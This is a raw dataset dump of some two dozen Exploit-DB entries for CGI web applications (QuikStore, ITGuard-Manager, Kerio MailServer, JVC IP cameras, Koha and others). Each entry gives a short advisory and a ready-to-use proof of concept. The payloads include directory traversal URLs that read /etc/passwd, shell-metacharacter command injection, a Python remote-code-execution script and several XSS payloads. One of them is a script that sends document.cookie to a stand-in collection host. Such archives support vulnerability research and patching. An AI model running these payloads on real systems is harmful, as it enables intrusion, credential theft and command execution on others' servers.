deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23467
Description: iSoft-Solutions QuikStore Shopping Cart 2.12 - 'template' Directory Traversal
Type: webapps
Platform: cgi
Date: 2003-12-23
Author: Dr Ponidi Haryanto

Exploit:
source: https://www.securityfocus.com/bid/9283/info

It has been reported that QuikStore Shopping Cart may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '../' character sequences. The issue exists due to insufficient sanitization of user-supplied data through the 'template' parameter of the 'quikstore.cgi' script. This issue may also allow an attacker to carry out remote command execution by executing the vulnerable script and including malicious shell metacharacters and commands as a value for the 'template' parameter.

Specific vulnerable versions of the software were not identified in the report; therefore it is being assumed that the current version QuikStore Shopping Cart v2.12 is vulnerable to this issue. 

http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../etc/passwd%00.html
http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../etc/hosts
http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../usr/bin/id|
Exploit-DB #43343
Description: ITGuard-Manager 0.0.0.1 - Remote Code Execution
Type: webapps
Platform: cgi
Date: 2017-12-15
Author: Nassim Asrir

Exploit:
# Vulnerability Title:  ITGuard-Manager V0.0.0.1 PreAuth Remote Code Execution 
# Author: Nassim Asrir 
# Contact: wassline@gmail.com / @asrir_nassim
# CVE: Waiting ...
# CVSS: CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H/E:H/MAV:P3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H/E:H/MAV:P  
# Vendor:  http://www.innotube.com


Details:
========

First we need to know what happens when we need to LogIn.
When the User or Attacker insert any strings in the login form he/she will get this POST request: 

POST /cgi-bin/drknow.cgi?req=login HTTP/1.1 
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://server/log-in.html?lang=KOR
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Connection: close
Upgrade-Insecure-Requests: 1

req=login&lang=KOR&username=admin&password=admin

 
Ok now we have this POST request and all we care about is the ‘username’ parameter . and we
can execute our system commands via this parameter due to missing input sanitization.
The payload will be: 'admin|'command'||x we will change the command by any *unix command (ls – id – mkdir ….) 

Exploit:
=======

#i am not responsible for any wrong use.

import requests
target = raw_input('Target(With proto) : ')
command = raw_input('Command To Execute : ')
fullpath=target +"/cgi-bin/drknow.cgi?req=login"
data = {'req':'login',
        'lang':'ENG',
        'username':'admin|'+command+'||x',
        'password':'admin'}
 
execute = requests.post(fullpath, data = data)
 
print execute.text
Exploit-DB #25817
Description: JamMail 1.8 - Jammail.pl Arbitrary Command Execution
Type: webapps
Platform: cgi
Date: 2005-06-12
Author: blahplok

Exploit:
source: https://www.securityfocus.com/bid/13937/info

JamMail is prone to a remote arbitrary command execution vulnerability.

This vulnerability may allow an attacker to supply arbitrary commands through the 'jammail.pl' script.

This can lead to various attacks including unauthorized access to an affected computer.

JamMail 1.8 is affected by this issue. 

http://www.example.com/cgi-bin/jammail.pl?job=showoldmail&mail=|command|
Exploit-DB #21895
Description: Jetty 3.1.6/3.1.7/4.1 Servlet Engine - Arbitrary Command Execution
Type: webapps
Platform: cgi
Date: 2002-10-02
Author: Matt Moore

Exploit:
source: https://www.securityfocus.com/bid/5852/info

A flaw in the CGIServlet in Jetty allows an attacker to execute arbitrary commands on the server. Specifically, it is possible for an attacker to use directory traversal sequences and cause the CGIServlet to execute attacker-specified commands (such as running executables on the host).

This vulnerability affects Jetty versions for Microsoft Windows prior to 4.1.0.

http://jetty-server:8080/cgi-bin/..\..\..\..\..\..\winnt/notepad.exe
Exploit-DB #21405
Description: Jon Howell Faq-O-Matic 2.7 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-04-20
Author: BrainRawt

Exploit:
source: https://www.securityfocus.com/bid/4565/info

Faq-O-Matic 2.711 and 2.712 is a web-based Frequently Asked Question (FAQ) management system. It is vulnerable to a cross site scripting issue arising from a failure to filter HTML or script from a malformed query, returning the submitted script as an error message which is then processed by the browser. This is done by submitting the script as an argument to the Faq-O-Matic component "fom.cgi" - specifically, to the "file" parameter. This script is then treated by the user's browser as though it originated from the Faq-O-Matic web site.

http://www.wherever.tld/path_to_Faq-O-Matic/fom?file=<script>alert('If+this+script+was+modified,+it+could+easily+steal+amigadev.net+cookies+and+log+them+to+a+remote+location')</script>&step
Exploit-DB #31313
Description: Juniper Networks Secure Access 2000 Web - Root Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2008-02-28
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/28037/info

Juniper Networks Secure Access 2000 is prone to a path-disclosure vulnerability.

Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks.

Secure Access 2000 5.5R1 Build 11711 is vulnerable; other versions may also be affected. 

https://www.example.com/dana-na/auth/remediate.cgi?action=&step=preauth
https://www.example.com/dana-na/auth/remediate.cgi?step=preauth
Exploit-DB #40264
Description: JVC IP-Camera VN-T216VPRU - Credentials Disclosure
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title                   : JVC IP-Camera (VN-T216VPRU) Remote Credentials Disclosure
Vendor Homepage         : http://pro.jvc.com/
Remotely Exploitable	: Yes
Tested on Camera types	: VN-T216VPRU
Product References      : http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145
Vulnerability           : Username / Password Disclosure (Critical/High)
Date                    : 19/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
JVC IP-Camera (VN-T216VPRU) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
========================================
Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0"; 

-----------------------------------------------

Login @ http://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #40282
Description: JVC IP-Camera VN-T216VPRU - Local File Disclosure
Type: webapps
Platform: cgi
Date: 2016-08-22
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title                   : JVC IP-Camera (VN-T216VPRU) Local File Inclusion
Vendor Homepage         : http://pro.jvc.com/
Remotely Exploitable	: Yes
Tested on Camera types	: VN-T216VPRU
Product References      : http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145
Vulnerability           : Local File Inclusion (Critical/High)
Date                    : 20/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)


2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.


3. Description
========================================
JVC IP-Camera (VN-T216VPRU) allows to unauthenticated user to include files from local server such as /etc/passwd, /etc/shadow or config.ini which contains all credentials and other configurations.


4. Proof-of-Concept:
========================================
For example you can get /etc/passwd
http://host:port/cgi-bin/check.cgi?file=../../../etc/passwd

Or config.ini file:

http://host:port/cgi-bin/check.cgi?file=config.ini


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #26066
Description: Karrigell 1.x/2.0/2.1 - '.KS' File Arbitrary Python Command Execution
Type: webapps
Platform: cgi
Date: 2005-07-31
Author: Radovan GarabÃ­k

Exploit:
source: https://www.securityfocus.com/bid/14463/info

Karrigell is susceptible to an arbitrary Python command execution vulnerability. This issue is due to a design flaw that allows remote attackers to execute Python commands that they are not intended to have access to.

Attackers may exploit this vulnerability to execute arbitrary Python commands in the context of the Web server hosting the Karrigell framework. This allows remote malicious users to cause denial of service conditions, create or overwrite arbitrary files, and likely compromise the hosting computer. 

The following examples will cause a denial of service condition:
http://www.example.com/test.ks/raw_input
http://www.example.com/test.ks/file?%22*10000000&mode=w

The following example will create a file on the local filesystem on the hosting computer:
http://www.example.com/test.ks/file?%22*2&mode=w
Exploit-DB #4647
Description: KB-Bestellsystem - 'kb_whois.cgi' Command Execution
Type: webapps
Platform: cgi
Date: 2007-11-22
Author: Zero X

Exploit:
"KB-Bestellsystem" is a domain order system written in Perl.
The "domain" and "tld" parameters in "kb_whois.cgi" are not filtering shell metacharacters.

The following examples will show you the /etc/passwd file:

http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=;cat%20/etc/passwd;&tld=.com&tarrif=
http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=google&tld=.com;cat /etc/passwd;&tarrif=

<< Greetz Zero X >>

# milw0rm.com [2007-11-22]
Exploit-DB #22377
Description: Kebi Academy 2001 - Input Validation
Type: webapps
Platform: cgi
Date: 2003-03-17
Author: dong-h0un U

Exploit:
source: https://www.securityfocus.com/bid/7125/info

Kebi Academy 2001 does not sufficiently validate input supplied via URI parameters. As a result it has been reported that it is possible to retrieve arbitrary files which are readable by the web server. It has also been reported that it is possible to upload malicious files to the server. This could result in disclosure of sensitive information or execution of arbitrary commands in the context of the web server.

http://www.example.com/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor
Exploit-DB #21728
Description: Kerio MailServer 5.0/5.1 Web Mail - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2002-08-19
Author: Abraham Lincoln

Exploit:
source: https://www.securityfocus.com/bid/5507/info

Reportedly, Kerio Mailserver is vulnerable to cross site scripting attacks. The vulnerability is present in Kerio Mailserver's web mail component.

An attacker may exploit this vulnerability by causing a victim user to follow a malicious link. Exploitation may result in the compromise of authentication data, or in script code taking actions as the authenticated user.

*** The vendor has stated that this is not a vulnerability. 

*** Proof of concept has been provided.

http://keriowebmail/<script>alert('THisIsREAL0wned')</script>
http://keriowebmail/passwd<script>alert('VERYVULNERABLE')</script>
Exploit-DB #22799
Description: Kerio MailServer 5.6.3 - Web Mail ADD_ACL Module Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-06-18
Author: David F.Madrid

Exploit:
source: https://www.securityfocus.com/bid/7966/info

Reportedly, Kerio Mailserver is vulnerable to a cross site-scripting attack. The vulnerability is present in the add_acl module of the Kerio Mailserver web mail component.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link.

It should be noted that although this vulnerability has been reported to affect Kerio MailServer version 5.6.3, previous versions might also be affected.

http://www.example.com/add_acl?folder=~conde0@localhost/INBOX&add_name=<script>alert(document.cookie);</script>
Exploit-DB #22804
Description: Kerio MailServer 5.6.3 - Web Mail DO_MAP Module Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-06-18
Author: David F.Madrid

Exploit:
source: https://www.securityfocus.com/bid/7968/info

Reportedly, Kerio Mailserver is vulnerable to a cross site-scripting attack. The vulnerability is present in the do_map module of the Kerio Mailserver web mail component.

An attacker may exploit this vulnerability by enticing a victim user to follow a malicious link containing malicious HTML code.

It should be noted that although this vulnerability has been reported to affect Kerio MailServer version 5.6.3, previous versions might also be affected. 

http://www.example.com/do_map?action=new&oldalias=eso&alias=<script>alert(document.cookie);</script>&folder=public&user=lucascavadora
Exploit-DB #26851
Description: Kryptronic ClickCartPro 5.1/5.2 - 'CP-APP.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15896/info

Kryptronic ClickCartPro is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cp-app.cgi?usr=51H4515590&rnd=577308&rrc=N&affl=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #38691
Description: Kwok Information Server - Multiple SQL Injections
Type: webapps
Platform: cgi
Date: 2013-08-07
Author: Yogesh Phadtare

Exploit:
source: https://www.securityfocus.com/bid/61728/info

Kwok Information Server is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Kwok Information Server 2.7.3 and 2.8.4 are vulnerable; other versions may also be affected. 

http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareType=49[Inject Payload Here]

http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareStatus=0[Inject Payload Here]

http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareLocation=0[Inject Payload Here]
Exploit-DB #23485
Description: L-Soft 1.8 - Listserv Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2003-12-26
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/9307/info

Multiple cross-site scripting vulnerabilities have been reported in L-Soft Listserv. An attacker may exploit these issues by embedding hostile HTML and script code in a link to a site hosting the software. This could permit theft of cookie-based authentication credentials or other attacks. These issues could also provide an attack vector for latent vulnerabilities in web browser software. 

http://www.example.com/SCRIPTS/WA-MSD.EXE?A0=<IMG%
20SRC=javascript:document['write'](location)>&T=malware is in the
zone<object>

http://www.example.com/SCRIPTS/WA-USIAINFO.EXE?
A1=<img>ind0312d&L=dosback

http://www.example.com/Scripts/wa-demo.exe?A1=ind9807&L=demo<img>
Exploit-DB #29761
Description: LedgerSMB1.0/1.1 / SQL-Ledger 2.6.x - 'Login' Local File Inclusion / Authentication Bypass
Type: webapps
Platform: cgi
Date: 2007-03-19
Author: Chris Travers

Exploit:
source: https://www.securityfocus.com/bid/23034/info

LedgerSMB/SQL-Ledger are prone to a local file-include vulnerability because the application fails to sufficiently sanitize user-supplied input. SQL-Ledger is also prone to an authentication-bypass vulnerability.

A successful exploit would allow an attacker to view files and execute arbitrary local scripts within the context of the webserver and potentially gain unauthorized access to the affected application.

Note that the authentication-bypass issue affects only SQL-Ledger.

These issues affect LedgerSMB prior to 1.1.10 and SQL-Ledger prior to 2.6.27.

http://www.example.com/sql-ledger/am.pl?login=../../../home/user/foo.pl%00&action=add_department
Exploit-DB #22777
Description: LedNews 0.7 Post Script - Code Injection
Type: webapps
Platform: cgi
Date: 2003-06-16
Author: gilbert vilvoorde

Exploit:
source: https://www.securityfocus.com/bid/7920/info

It has been reported that LedNews does not properly filter input from news posts. Because of this, it may be possible for an attacker to steal authentication cookies or perform other nefarious activities. 

<script>
document.location.replace('http://www.example.com/cgi-bin/cookiemonster.cgi?'+document.cookie);
</script>
Exploit-DB #23613
Description: Leif M. Wright Web Blog 1.1 - File Disclosure
Type: webapps
Platform: cgi
Date: 2004-01-20
Author: Zone-h Security Team

Exploit:
source: https://www.securityfocus.com/bid/9517/info

Web Blog is prone to a file disclosure vulnerability. Remote attackers may gain access to files on the system hosting the server that reside outside of the server root by submitting a malicious request that contains directory traversal sequences. This would permit the attacker to access files that are readable by the server and could disclose sensitive information. 

http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=/../../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #23629
Description: Leif M. Wright Web Blog 1.1 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2004-01-31
Author: ActualMInd

Exploit:
source: https://www.securityfocus.com/bid/9539/info

Web Blog has been reported to be prone to a vulnerability that may permit remote attackers to execute arbitrary commands in the context of the hosting web server. This is due to insufficient sanitization of shell metacharacters from variables which will be used as an argument to a function that invokes the shell directly.

http://www.example.com/directory/blog.cgi?submit=ViewFile&month=[month]&year=[year]&file=|command|
Exploit-DB #32734
Description: LemonLDAP:NG 0.9.3.1 - User Enumeration / Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2009-01-16
Author: clément Oudot

Exploit:
source: https://www.securityfocus.com/bid/33312/info

LemonLDAP:NG is prone to a user-enumeration weakness and a cross-site scripting vulnerability.

A remote attacker can exploit the user-enumeration weakness to enumerate valid usernames and then perform brute-force attacks; other attacks are also possible.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to LemonLDAP::NG 0.9.3.2 are vulnerable. 

http://www.example.com/index.pl?url=";><script>alert("You were hacked!")</script><br"
Exploit-DB #30597
Description: LevelOne WBR3404TX Broadband Router - 'RC' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-09-19
Author: azizov

Exploit:
source: https://www.securityfocus.com/bid/25738/info

The LevelOne WBR3404TX Broadband Router is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input. These issues occurs in the web management panel.

Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected site. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

LevelOne WBR3404TX firmware version R1.94p0vTIG is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/ddns?RC=%40&DG0=x&DP=D&DD=[xss]
http://www.example.com/cgi-bin/ddns?RC=%40&DG0=x&DP=D&DD=&DU=[xss]
Exploit-DB #18153
Description: LibLime Koha 4.2 - Local File Inclusion
Type: webapps
Platform: cgi
Date: 2011-11-24
Author: Akin Tosunlar

Exploit:
# Exploit Title: [Koha Opac Local File Inclusion]
 # Google Dork: [inurl:koha/opac-main.pl] 
 # Date: [17.11.2011]
 # Author: [Akin Tosunlar(Vigasis Labs)]
 # Software Link: [www.koha.org]
 # Version: [<4.2]
# Tested on: [Linux(Apache 2.2.14)]
# CVE : []

# Vigasis Pentest Team (www.vigasis.com)
# 0-Day Exploit
# Akin Tosunlar
# Special Thanks to Ozgur Yurdusev

#Exploit

GET /cgi-bin/koha/opac-main.pl HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Cookie: sessionID=1;KohaOpacLanguage=../../../../../../../../etc/passwd%00
Connection: Close
Pragma: no-cache
Host: localhost
Exploit-DB #23897
Description: LinBit Technologies LINBOX Officeserver - Remote Authentication Bypass
Type: webapps
Platform: cgi
Date: 2004-03-30
Author: Martin Eiszner

Exploit:
source: https://www.securityfocus.com/bid/10010/info

It has been reported that LINBOX is prone to a remote authentication bypass vulnerability. This issue is due to a design error that would allow access to web based administration scripts without proper authorization.

This issue may allow unauthorized user to gain access to the administration scripts of the affected system.

Issuing the following request to the affected server will provide access to the administration interface:
http://www.example.com//admin/user.pl
Exploit-DB #24197
Description: Linksys Web Camera Software 2.10 - 'Next_file' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-06-14
Author: scriptX

Exploit:
source: https://www.securityfocus.com/bid/10533/info

It is reported that Linksys Web Camera software is prone to a cross-site scripting vulnerability that may allow a remote attacker to steal cookie-based authentication credentials or carry out other attacks.

The problem presents itself when an attacker passes malicious HTML or script code to the application via the 'next_file' parameter of the 'main.cgi' script.

Linksys Web Camera software version 2.10 is reportedly prone to this issue, however, it is possible that other versions are affected as well.

http://www.example.com/main.cgi?next_file=poop<script>alert('scriptX :P');</script>
Exploit-DB #24175
Description: Linksys Web Camera Software 2.10 - 'Next_file' File Disclosure
Type: webapps
Platform: cgi
Date: 2004-06-07
Author: John Doe

Exploit:
source: https://www.securityfocus.com/bid/10476/info

It is reported that Linksys Web Camera software is prone to a remote file disclosure vulnerability that may allow a remote attacker to disclose sensitive files.

Linksys Web Camera software version 2.10 is reportedly prone to this issue, however, it is possible that other versions are affected as well.

http://www.example.com/main.cgi?next_file=/etc/passwd